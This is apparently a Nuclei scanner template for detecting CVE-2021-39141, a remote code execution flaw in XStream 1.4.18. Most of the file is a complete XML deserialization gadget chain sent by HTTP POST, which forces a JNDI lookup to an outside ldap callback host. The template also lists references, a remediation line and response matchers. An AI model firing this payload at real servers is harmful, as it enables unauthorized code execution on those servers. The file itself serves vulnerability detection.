id: CVE-2021-39141

info:
  name: XStream 1.4.18  - Remote Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39141.
  reference:
    - http://x-stream.github.io/CVE-2021-39141.html
    - https://x-stream.github.io/CVE-2021-39141.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39141
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39141
    cwe-id: CWE-434
    epss-score: 0.1641
    epss-percentile: 0.95398
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2021,xstream,deserialization,rce

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
                <owner/>
                <managedObjectManagerClosed>false</managedObjectManagerClosed>
                <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
                  <stubHandlers>
                    <entry>
                      <method>
                        <class>java.lang.Comparable</class>
                        <name>compareTo</name>
                        <parameter-types>
                          <class>java.lang.Object</class>
                        </parameter-types>
                      </method>
                      <com.sun.xml.internal.ws.client.sei.StubHandler>
                        <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                          <indices>
                            <int>0</int>
                          </indices>
                          <getters>
                            <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                          </getters>
                          <accessors>
                            <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                              <val_-isJAXBElement>false</val_-isJAXBElement>
                              <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                                <type>int</type>
                                <field>
                                  <name>hash</name>
                                  <clazz>java.lang.String</clazz>
                                </field>
                              </val_-getter>
                              <val_-isListType>false</val_-isListType>
                              <val_-n>
                                <namespaceURI/>
                                <localPart>hash</localPart>
                                <prefix/>
                              </val_-n>
                              <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                                <type>java.lang.String</type>
                                <method>
                                  <class>javax.naming.InitialContext</class>
                                  <name>doLookup</name>
                                  <parameter-types>
                                    <class>java.lang.String</class>
                                  </parameter-types>
                                </method>
                              </val_-setter>
                              <outer-class>
                                <propertySetters>
                                  <entry>
                                    <string>serialPersistentFields</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>[Ljava.io.ObjectStreamField;</type>
                                      <field>
                                        <name>serialPersistentFields</name>
                                        <clazz>java.lang.String</clazz>
                                      </field>
                                    </com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  </entry>
                                  <entry>
                                    <string>CASE_INSENSITIVE_ORDER</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>java.util.Comparator</type>
                                      <field>
                                        <name>CASE_INSENSITIVE_ORDER</name>
                                        <clazz>java.lang.String</clazz>
                                      </field>
                                    </com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  </entry>
                                  <entry>
                                    <string>serialVersionUID</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>long</type>
                                      <field>
                                        <name>serialVersionUID</name>
                                        <clazz>java.lang.String</clazz>
                                      </field>
                                    </com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  </entry>
                                  <entry>
                                    <string>value</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>[C</type>
                                      <field>
                                        <name>value</name>
                                        <clazz>java.lang.String</clazz>
                                      </field>
                                    </com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  </entry>
                                  <entry>
                                    <string>hash</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>int</type>
                                      <field reference='../../../../../val_-getter/field'/>
                                    </com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  </entry>
                                </propertySetters>
                                <propertyGetters>
                                  <entry>
                                    <string>serialPersistentFields</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                      <type>[Ljava.io.ObjectStreamField;</type>
                                      <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                    </com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  </entry>
                                  <entry>
                                    <string>CASE_INSENSITIVE_ORDER</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                      <type>java.util.Comparator</type>
                                      <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                    </com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  </entry>
                                  <entry>
                                    <string>serialVersionUID</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                      <type>long</type>
                                      <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                    </com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  </entry>
                                  <entry>
                                    <string>value</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                      <type>[C</type>
                                      <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                    </com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  </entry>
                                  <entry>
                                    <string>hash</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                                  </entry>
                                </propertyGetters>
                                <elementLocalNameCollision>false</elementLocalNameCollision>
                                <contentClass>java.lang.String</contentClass>
                                <elementDeclaredTypes/>
                              </outer-class>
                            </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                          </accessors>
                          <wrapper>java.lang.Object</wrapper>
                          <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                          <dynamicWrapper>false</dynamicWrapper>
                        </bodyBuilder>
                        <isOneWay>false</isOneWay>
                      </com.sun.xml.internal.ws.client.sei.StubHandler>
                    </entry>
                  </stubHandlers>
                  <clientConfig>false</clientConfig>
                </databinding>
                <methodHandlers>
                  <entry>
                    <method reference='../../../databinding/stubHandlers/entry/method'/>
                    <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
                      <owner reference='../../../..'/>
                      <method reference='../../../../databinding/stubHandlers/entry/method'/>
                      <isVoid>false</isVoid>
                      <isOneway>false</isOneway>
                    </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
                  </entry>
                </methodHandlers>
              </handler>
            </dynamic-proxy>
            <string>ldap://{{interactsh-url}}/#evil</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500

# digest: 4a0a00473045022100a9239e520d3fdae2bdf40d7db95d034c21e8498def8bfb9af9e8f77538c9cc76022027df07387ba730e1bf4836d34b9df6ec3466792d1b47af5e99139431b9f526ff:922c64590222798bb761d5b6d8e72950